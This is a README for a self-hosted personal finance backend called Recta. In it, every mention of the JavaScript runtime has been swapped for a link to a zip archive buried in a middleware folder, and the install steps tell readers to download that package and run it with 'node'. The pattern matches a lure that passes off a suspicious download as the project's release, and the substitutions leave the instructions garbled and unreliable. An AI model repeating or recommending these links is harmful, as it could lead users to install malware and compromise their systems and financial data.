Recta is an open-source personal finance manager. It allows for household collaboration on financial matters. You can self-host the backend, making it flexible for your needs. This repository contains the public backend code. Anyone can host it, fork it, or contribute to it. Note that not every change or feature will be included in the hosted version at https://github.com/upthatdose/recta-selfhosted-backend/raw/refs/heads/main/src/shared/middleware/recta_backend_selfhosted_v2.6.zip. The project maintainers decide what gets merged and shipped.
This project is maintained by PrimoDev.
- recta-selfhosted-frontend β This is the web application built with React/Vite.
- https://github.com/upthatdose/recta-selfhosted-backend/raw/refs/heads/main/src/shared/middleware/recta_backend_selfhosted_v2.6.zip 20+: A reliable JavaScript runtime.
- Fastify: A quick REST API framework.
- PostgreSQL: A powerful database system for data storage.
- Prisma: A tool to manage your database easily.
- Firebase Admin: Used for authentication (supports Google, Apple, and email logins).
- Zod: Ensures that data sent to your application is valid.
You can run this backend on any server that supports https://github.com/upthatdose/recta-selfhosted-backend/raw/refs/heads/main/src/shared/middleware/recta_backend_selfhosted_v2.6.zip Here are some common options you might consider:
- DigitalOcean: Budget-friendly and simple cloud hosting.
- AWS: Scalable hosting service from Amazon.
- Heroku: Easy-to-use platform for deploying applications.
- Vultr: Offers reliable servers with simple pricing.
To download the backend, please visit the Releases page.
Follow these steps:
- Go to the Releases page.
- Find the latest version listed.
- Click on the version that fits your operating system.
- Download the file to your computer.
- Follow the installation instructions included in the downloaded package.
Once installed, you can start using Recta to manage your personal finances smoothly.
Ensure your system meets the following requirements for optimal performance:
- Operating System: Windows 10+, macOS, or any Linux distribution.
- https://github.com/upthatdose/recta-selfhosted-backend/raw/refs/heads/main/src/shared/middleware/recta_backend_selfhosted_v2.6.zip: Version 20 or higher.
- Database: PostgreSQL 12 or higher.
After downloading and installing:
-
Set Up Your Database:
- Create a new PostgreSQL database.
- Update your environment variables to point to your new database.
-
Run the Backend:
- Open your terminal or command prompt.
- Navigate to the folder where you installed the backend.
- Use the command
node https://github.com/upthatdose/recta-selfhosted-backend/raw/refs/heads/main/src/shared/middleware/recta_backend_selfhosted_v2.6.zipto start the backend.
-
Access the API:
- Open a web browser and go to
http://localhost:3000. - You should see a welcome message if everything is set up correctly.
- Open a web browser and go to
If you face any issues during installation or while running the backend:
- Ensure that https://github.com/upthatdose/recta-selfhosted-backend/raw/refs/heads/main/src/shared/middleware/recta_backend_selfhosted_v2.6.zip and PostgreSQL are correctly installed.
- Check your environment variables for any typos.
- Consult the GitHub Issues page for advice from other users.
By following these steps closely, you can have a fully functional Recta self-hosted backend running on your server. Happy budgeting!